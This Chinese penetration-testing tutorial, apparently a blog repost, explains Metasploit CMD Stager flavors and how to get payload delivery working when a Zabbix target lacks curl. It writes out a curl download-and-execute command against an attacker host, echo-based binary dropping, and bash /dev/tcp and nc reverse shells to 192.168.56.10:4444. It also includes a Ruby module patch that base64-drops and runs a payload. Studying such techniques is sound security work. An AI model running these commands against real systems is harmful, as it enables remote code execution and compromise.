本文首发于先知社区:https://xz.aliyun.com/news/91087
1. 背景
在渗透测试或漏洞利用中,Metasploit(MSF)是业界最常用的框架之一。
其许多 RCE(远程代码执行)模块在落地 payload(如 Meterpreter 或反弹 shell)时,采用了 CMD Stager 机制,通过常见的下载器(curl、wget、tftp、fetch 等)从攻击者的 HTTP 服务下载二进制文件并执行。
例如,在利用 exploit/multi/http/zabbix_script_exec 模块时,默认的自动模式(CMDSTAGER::FLAVOR=auto)可能会生成这样的命令:
curl -so /tmp/KvENJxdp http://192.168.56.10:9999/CaxnZl7dATG9W; chmod +x /tmp/KvENJxdp; /tmp/KvENJxdp; rm -f /tmp/KvENJxdp
这条命令的逻辑很简单:
- 使用
curl从攻击者主机(192.168.56.10:9999)下载 payload 到/tmp/KvENJxdp。 chmod +x赋予执行权限。- 执行该文件,建立回连(如 reverse_tcp)。
- 删除文件,清理痕迹。
问题是:
如果目标主机缺少 curl(或其他下载器),这条命令将直接失败,利用中断。
2. 失败案例与原因分析
如图,我已在 msf 配置好了 options,也在 zabbix 中设置了脚本任务

【如上图,成功创建了script,但利用失败】
Metasploit 的 Command Stager(命令分段器)是一个用于在目标上分步传输并执行 payload 的抽象模块。 它会根据目标系统的可用工具,选择一种“传输方式”,这些方式被称为 Flavor。
常见的 Linux 系统 flavor:
curlwgettftpfetchftp_httpecho(通过echo写出二进制文件)printfbourne(直接传输命令)
Windows flavor:
psh_invokewebrequest(PowerShell)certutilbitsadmin
工作流程:
- 模块执行前,会探测目标可能的工具(某些模块会主动探测,某些直接假设存在)。
- 选择第一个可用的 flavor(
auto模式下由框架自动决定)。 - 构造对应的命令行字符串。
- 在目标上执行该命令,完成 payload 落地。
当目标既没有 curl 也没有 wget,且模块又没有降级到 echo/printf 等无下载器模式,就会直接报错或无响应。
3. 解决思路总览
要解决无 curl 环境下的利用失败问题,有几条路线可选:
方案 1:手动指定其他可用下载器
如果目标上有 wget 或 tftp,可以在 MSF 中手动设置:
set CMDSTAGER::FLAVOR wget
或:
set CMDSTAGER::FLAVOR tftp
这样 MSF 会用你指定的工具生成命令。
【如图,改为wget,利用成功】
方案 2:使用 echo / printf 无下载器写文件
MSF 内置的 echo flavor 会将 payload 切分为多行 Base64/十六进制块,然后用 echo 或 printf 写到文件中:
echo -ne '\x7f\x45\x4c\x46...' > /tmp/payload
chmod +x /tmp/payload
/tmp/payload
只要目标有最基本的 shell 内置命令即可。
设置方法:
set CMDSTAGER::FLAVOR echo
方案 3:完全跳过文件落地,直接反弹 Shell
如果目标机支持 bash 或 nc,可以直接运行一行反弹命令:
bash -i >& /dev/tcp/192.168.56.10/4444 0>&1
或:
mkfifo /tmp/f; nc 192.168.56.10 4444 < /tmp/f | /bin/sh > /tmp/f 2>&1; rm /tmp/f
在 MSF 中可以用:
set PAYLOAD cmd/unix/reverse_bash
或直接用 cmd/unix/generic 手工写反弹命令。
方案 4:修改模块源码,自定义 CMD Stager
本文提到的 zabbix_script_exec,源码在:
modules/exploits/multi/http/zabbix_script_exec.rb
你可以把 execute_cmdstager 部分改成自动 fallback 到 echo/base64 写文件方式,这样在缺少下载器时也能执行。
示例修改:
def execute_cmdstager(opts = {})
begin
super
rescue
print_status("Falling back to echo-based payload delivery")
execute_command("echo '#{Rex::Text.encode_base64(payload.encoded)}' | base64 -d > /tmp/p; chmod +x /tmp/p; /tmp/p")
end
end
4. 各方案的优劣对比
| 方案 | 优点 | 缺点 | 适用场景 |
|---|---|---|---|
| 手动指定下载器 | 修改少,执行快 | 仍依赖外部下载器 | 目标有其他下载工具 |
echo / printf 写文件 |
不依赖下载器 | 对大文件执行慢,可能超时 | 目标只有最基本 shell |
| 直接反弹 Shell | 无文件落地,速度快 | 不适合长期驻留 | 临时命令执行 |
| 修改模块源码 | 一次改好,后续复用 | 需要懂 Ruby,维护成本 | 同类环境经常遇到 |
需要注意的是,本文演示的 exploit/multi/http/zabbix_script_exec 这个模块本身并没有实现 echo 这种无下载器的 CMD Stager flavor。
所以即使 Metasploit 框架本身支持 echo/printf,这个模块也没法直接用,因为它的 Targets 和 execute_cmdstager 里只注册了有限几种 flavor(auto, tftp, wget, curl, fetch, lwprequest, psh_invokewebrequest, ftp_http)。
关键点:
CMDSTAGER::FLAVOR的可选值不是全局通用的,而是模块里显式声明的。zabbix_script_exec是基于 Linux Dropper 目标实现的,默认只假设目标有下载器。- 这种模块一旦遇到无 curl / wget 环境,就只能失败,除非改源码。
总结与建议
无 curl 环境并不是利用的终点,关键是理解 CMD Stager 的原理,并灵活切换传输方式。
- 快速解决:尝试
set CMDSTAGER::FLAVOR wget - 轻量化攻击:用
cmd/unix/reverse_bash直接反弹 shell - 长期优化:改模块源码,自动 fallback 到无下载器模式
- 极端环境:研究无磁盘落地、内存注入等高阶技巧
在团队内部,可以把这些方案封装成“利用模板库”,遇到不同目标环境时快速切换,避免因下载器缺失而卡死。
官方文档:https://docs.metasploit.com/api/Msf/Exploit/CmdStager.html
原文 https://blog.csdn.net/2301_79518550/article/details/150210423